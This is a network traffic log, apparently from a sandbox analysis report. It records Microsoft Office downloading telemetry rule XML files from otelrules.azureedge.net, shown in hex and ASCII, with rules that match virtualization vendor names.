2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:41 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 3b324e0c-901e-008f-425c-3d67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032241Z-15b8b599d88l2dpthC1TEBmzr000000003tg00000000c09t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:42 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: f323d95e-101e-0065-6a6f-3d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032242Z-15b8b599d88qw29phC1TEB5zag00000003y00000000021vh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032242Z-15b8b599d88hr8sfhC1TEBbca400000003vg000000000v1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:43 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032244Z-15b8b599d886w4hzhC1TEBb4ug0000000400000000002uda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:43 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032244Z-174c587ffdfks6tlhC1TEBeza400000003yg000000009dxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:44 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91947494-701e-0001-6f67-3db110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032244Z-15b8b599d885ffrhhC1TEBtuv000000003u000000000pa8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:44 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032244Z-15b8b599d882hxlwhC1TEBfa5w00000003vg000000001uea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:44 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032244Z-178bfbc474bpnd5vhC1NYC4vr4000000059000000000hd98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:46 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:46 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032246Z-15b8b599d882l6clhC1TEBxd5c00000003r000000000dmr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:46 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:46 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:46 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032246Z-174c587ffdf6b487hC1TEBydsn00000003p000000000sffz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:46 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:46 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032246Z-178bfbc474bp8mkvhC1NYCzqnn000000056000000000e2de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032246Z-174c587ffdfcb7qhhC1TEB3x7000000003yg000000009rrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
